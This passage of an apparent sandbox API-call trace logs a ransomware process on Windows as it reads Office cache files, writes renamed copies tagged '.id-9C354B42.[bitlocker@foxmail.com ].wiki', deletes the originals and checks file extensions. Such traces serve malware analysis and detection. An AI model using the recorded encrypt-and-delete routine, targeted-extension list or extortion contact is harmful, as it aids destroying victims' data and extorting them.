users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.547] GetLastError () returned 0x0 [0054.547] ReadFile (in: hFile=0x1f4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x33cfed4*=0x741, lpOverlapped=0x0) returned 1 [0054.548] WriteFile (in: hFile=0x20c, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x750, lpOverlapped=0x0) returned 1 [0054.549] ReadFile (in: hFile=0x1f4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0054.549] WriteFile (in: hFile=0x20c, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x10a, lpOverlapped=0x0) returned 1 [0054.549] SetEndOfFile (hFile=0x20c) returned 1 [0054.549] CloseHandle (hObject=0x20c) returned 1 [0054.549] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.549] SetEndOfFile (hFile=0x1f4) returned 1 [0054.550] CloseHandle (hObject=0x1f4) returned 1 [0054.550] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0054.550] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 1 [0054.550] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0054.551] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0054.551] lstrlenW (lpString=".doc") returned 4 [0054.551] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0054.551] lstrlenW (lpString=".docx") returned 5 [0054.551] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0054.551] lstrlenW (lpString=".pdf") returned 4 [0054.551] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0054.551] lstrlenW (lpString=".xls") returned 4 [0054.551] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0054.551] lstrlenW (lpString=".xlsx") returned 5 [0054.551] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0054.551] lstrlenW (lpString=".ppt") returned 4 [0054.551] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0054.551] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0054.551] lstrlenW (lpString=".zip") returned 4 [0054.551] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0054.551] lstrlenW (lpString=".rar") returned 4 [0054.551] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0054.551] lstrlenW (lpString=".bz2") returned 4 [0054.551] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0054.551] lstrlenW (lpString=".7z") returned 3 [0054.551] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0054.551] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0054.551] lstrlenW (lpString=".dbf") returned 4 [0054.551] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0054.551] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0054.551] lstrlenW (lpString=".1cd") returned 4 [0054.551] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0054.551] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0054.551] lstrlenW (lpString=".jpg") returned 4 [0054.551] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0054.551] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0054.551] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0054.551] lstrlenW (lpString=".doc") returned 4 [0054.551] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0054.552] lstrlenW (lpString=".docx") returned 5 [0054.552] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0054.552] lstrlenW (lpString=".pdf") returned 4 [0054.552] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0054.552] lstrlenW (lpString=".xls") returned 4 [0054.552] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0054.552] lstrlenW (lpString=".xlsx") returned 5 [0054.552] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0054.552] lstrlenW (lpString=".ppt") returned 4 [0054.552] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0054.552] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0054.552] lstrlenW (lpString=".zip") returned 4 [0054.552] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0054.552] lstrlenW (lpString=".rar") returned 4 [0054.552] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0054.552] lstrlenW (lpString=".bz2") returned 4 [0054.552] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0054.552] lstrlenW (lpString=".7z") returned 3 [0054.552] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0054.552] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0054.552] lstrlenW (lpString=".dbf") returned 4 [0054.552] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0054.552] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0054.552] lstrlenW (lpString=".1cd") returned 4 [0054.552] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0054.552] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0054.552] lstrlenW (lpString=".jpg") returned 4 [0054.552] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0054.552] lstrcmpiW (lpString1=".dll", lpString2=".wiki") returned -1 [0054.552] lstrlenW (lpString="msvcr90.dll") returned 11 [0054.552] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.553] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=655872) returned 1 [0054.553] CloseHandle (hObject=0x1f4) returned 1 [0054.556] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 0x2020 [0054.556] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0054.556] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.556] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.556] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.556] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.556] GetLastError () returned 0x0 [0054.556] ReadFile (in: hFile=0x1f4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x33cfed4*=0xa0200, lpOverlapped=0x0) returned 1 [0054.570] WriteFile (in: hFile=0x20c, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xa0210, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xa0210, lpOverlapped=0x0) returned 1 [0054.580] ReadFile (in: hFile=0x1f4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0054.580] WriteFile (in: hFile=0x20c, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.580] SetEndOfFile (hFile=0x20c) returned 1 [0054.580] CloseHandle (hObject=0x20c) returned 1 [0054.581] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.581] SetEndOfFile (hFile=0x1f4) returned 1 [0054.766] CloseHandle (hObject=0x1f4) returned 1 [0054.766] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0054.766] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 1 [0054.767] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0054.767] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0054.767] lstrlenW (lpString=".doc") returned 4 [0054.767] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.767] lstrlenW (lpString=".docx") returned 5 [0054.767] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0054.767] lstrlenW (lpString=".pdf") returned 4 [0054.767] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.767] lstrlenW (lpString=".xls") returned 4 [0054.767] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.767] lstrlenW (lpString=".xlsx") returned 5 [0054.767] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0054.767] lstrlenW (lpString=".ppt") returned 4 [0054.767] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.767] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0054.767] lstrlenW (lpString=".zip") returned 4 [0054.767] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.767] lstrlenW (lpString=".rar") returned 4 [0054.767] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.767] lstrlenW (lpString=".bz2") returned 4 [0054.767] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.767] lstrlenW (lpString=".7z") returned 3 [0054.767] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.767] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0054.767] lstrlenW (lpString=".dbf") returned 4 [0054.767] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.767] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0054.767] lstrlenW (lpString=".1cd") returned 4 [0054.767] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.767] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0054.767] lstrlenW (lpString=".jpg") returned 4 [0054.767] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.767] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0054.767] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0054.768] lstrlenW (lpString=".doc") returned 4 [0054.768] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.768] lstrlenW (lpString=".docx") returned 5 [0054.768] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0054.768] lstrlenW (lpString=".pdf") returned 4 [0054.768] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.768] lstrlenW (lpString=".xls") returned 4 [0054.768] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.768] lstrlenW (lpString=".xlsx") returned 5 [0054.768] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0054.768] lstrlenW (lpString=".ppt") returned 4 [0054.768] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.768] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0054.768] lstrlenW (lpString=".zip") returned 4 [0054.768] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.768] lstrlenW (lpString=".rar") returned 4 [0054.768] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.768] lstrlenW (lpString=".bz2") returned 4 [0054.768] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.768] lstrlenW (lpString=".7z") returned 3 [0054.768] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.768] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0054.768] lstrlenW (lpString=".dbf") returned 4 [0054.768] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.768] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0054.768] lstrlenW (lpString=".1cd") returned 4 [0054.768] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.768] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0054.768] lstrlenW (lpString=".jpg") returned 4 [0054.768] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.768] lstrcmpiW (lpString1=".msi", lpString2=".wiki") returned -1 [0054.769] lstrlenW (lpString="OfficeMUISet.msi") returned 16 [0054.769] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.769] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=868864) returned 1 [0054.769] CloseHandle (hObject=0x1f4) returned 1 [0054.769] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 0x2020 [0054.769] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0054.769] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.769] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.769] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.769] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0054.769] GetLastError () returned 0x0 [0054.769] ReadFile (in: hFile=0x1f4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x33cfed4*=0xd4200, lpOverlapped=0x0) returned 1 [0054.818] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0054.830] ReadFile (in: hFile=0x1f4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0054.831] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xf4, lpOverlapped=0x0) returned 1 [0054.831] SetEndOfFile (hFile=0x1dc) returned 1 [0054.831] CloseHandle (hObject=0x1dc) returned 1 [0054.831] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.831] SetEndOfFile (hFile=0x1f4) returned 1 [0055.119] CloseHandle (hObject=0x1f4) returned 1 [0055.120] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0055.120] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 1 [0055.120] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.120] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.120] lstrlenW (lpString=".doc") returned 4 [0055.120] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0055.120] lstrlenW (lpString=".docx") returned 5 [0055.120] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0055.120] lstrlenW (lpString=".pdf") returned 4 [0055.120] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0055.120] lstrlenW (lpString=".xls") returned 4 [0055.120] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0055.120] lstrlenW (lpString=".xlsx") returned 5 [0055.120] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0055.120] lstrlenW (lpString=".ppt") returned 4 [0055.120] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0055.120] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.120] lstrlenW (lpString=".zip") returned 4 [0055.120] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0055.120] lstrlenW (lpString=".rar") returned 4 [0055.120] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0055.121] lstrlenW (lpString=".bz2") returned 4 [0055.121] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0055.121] lstrlenW (lpString=".7z") returned 3 [0055.121] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0055.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.121] lstrlenW (lpString=".dbf") returned 4 [0055.121] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0055.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.121] lstrlenW (lpString=".1cd") returned 4 [0055.121] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0055.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.121] lstrlenW (lpString=".jpg") returned 4 [0055.121] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0055.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.121] lstrlenW (lpString=".doc") returned 4 [0055.121] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0055.121] lstrlenW (lpString=".docx") returned 5 [0055.121] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0055.121] lstrlenW (lpString=".pdf") returned 4 [0055.121] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0055.121] lstrlenW (lpString=".xls") returned 4 [0055.121] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0055.121] lstrlenW (lpString=".xlsx") returned 5 [0055.121] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0055.121] lstrlenW (lpString=".ppt") returned 4 [0055.121] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0055.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.121] lstrlenW (lpString=".zip") returned 4 [0055.121] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0055.121] lstrlenW (lpString=".rar") returned 4 [0055.121] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0055.121] lstrlenW (lpString=".bz2") returned 4 [0055.121] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0055.121] lstrlenW (lpString=".7z") returned 3 [0055.121] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0055.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.122] lstrlenW (lpString=".dbf") returned 4 [0055.122] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0055.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.122] lstrlenW (lpString=".1cd") returned 4 [0055.122] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0055.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0055.122] lstrlenW (lpString=".jpg") returned 4 [0055.122] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0055.122] lstrcmpiW (lpString1=".msi", lpString2=".wiki") returned -1 [0055.122] lstrlenW (lpString="AccessMUISet.msi") returned 16 [0055.122] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0055.122] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=868864) returned 1 [0055.122] CloseHandle (hObject=0x1f4) returned 1 [0055.122] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 0x2020 [0055.122] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0055.122] CreateFileW (lpFileName="C:\\MSOCache\\All 